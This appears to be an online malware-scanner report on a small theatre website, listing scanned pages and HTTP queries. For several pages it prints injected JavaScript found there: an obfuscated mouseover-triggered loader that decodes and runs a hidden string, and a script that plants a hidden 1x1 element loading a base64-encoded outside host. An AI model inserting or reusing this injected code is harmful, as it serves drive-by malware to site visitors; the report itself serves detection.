Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=themadnessofpoe.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://themadnessofpoe.com/ | 200 OK Content-Length: 5898 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) window.w3ssss=function(){ var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1l for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);} try{ window[cont](content) }catch(e){} } window.CheckBody = function() { if (!document.body){setTimeout('CheckBody();',10);} else { window.nomore=false; document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} } } CheckBody(); Antivirus reports:
| ||
http://themadnessofpoe.com/css.js | 200 OK Content-Length: 26002 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var PluginDetect={version:"0.7.5",name:"PluginDetect",handler:function(c,b,a){return function(){c(b,a)}},isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-] break; case 'gdf544': coun = counter.get('aW1n'); break; case '98grth': coun = counter.set('aZkf264'); break; } cnter = document.createElement(coun); cnter.setAttribute("src", counter.get('aHR0cDovL2Vhc3kyMDY2LmNvLmNjL21haW4ucGhwP3BhZ2U9ZjBhZjkzNTEzMDE4Y2M0MA==')); cnter.style.width = 1+"px"; cnter.style.height = 1+"px"; document.body.appendChild(cnter); } window.onload = checkmouse; Antivirus reports:
| ||
http://themadnessofpoe.com/synopsis.html | 200 OK Content-Length: 9915 Content-Type: text/html | clean |
http://themadnessofpoe.com/home.html | 200 OK Content-Length: 11952 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) window.w3ssss=function(){ var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1l for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);} try{ window[cont](content) }catch(e){} } window.CheckBody = function() { if (!document.body){setTimeout('CheckBody();',10);} else { window.nomore=false; document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}} } } CheckBody(); Antivirus reports:
| ||
http://themadnessofpoe.com/productions.html | 200 OK Content-Length: 10389 Content-Type: text/html | clean |
http://themadnessofpoe.com/photos.html | 200 OK Content-Length: 7982 Content-Type: text/html | clean |
http://themadnessofpoe.com/video.html | 200 OK Content-Length: 7605 Content-Type: text/html | clean |
http://themadnessofpoe.com/contact.html | 200 OK Content-Length: 7116 Content-Type: text/html | clean |
http://themadnessofpoe.com/test404page.js | 404 Not Found Content-Length: 1546 Content-Type: text/html | clean |
http://themadnessofpoe.com/video1.html | 200 OK Content-Length: 7836 Content-Type: text/html | clean |
http://themadnessofpoe.com/video2.html | 200 OK Content-Length: 7819 Content-Type: text/html | clean |
http://themadnessofpoe.com/video3.html | 200 OK Content-Length: 7485 Content-Type: text/html | clean |
http://themadnessofpoe.com/photo4.html | 200 OK Content-Length: 6755 Content-Type: text/html | clean |
http://themadnessofpoe.com/photo2.html | 200 OK Content-Length: 6763 Content-Type: text/html | clean |
http://themadnessofpoe.com/photo5.html | 200 OK Content-Length: 6751 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: themadnessofpoe.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 10 Jan 2015 14:38:25 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 5898
Content-Type: text/html
...5898 bytes of data.
GET / HTTP/1.1
Host: themadnessofpoe.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 10 Jan 2015 14:38:25 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 5898
Content-Type: text/html
...5898 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: themadnessofpoe.com
Referer: http://www.google.com/search?q=themadnessofpoe.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: themadnessofpoe.com
Referer: http://www.google.com/search?q=themadnessofpoe.com
Result:
The result is similar to the first query. There are no suspicious redirects found.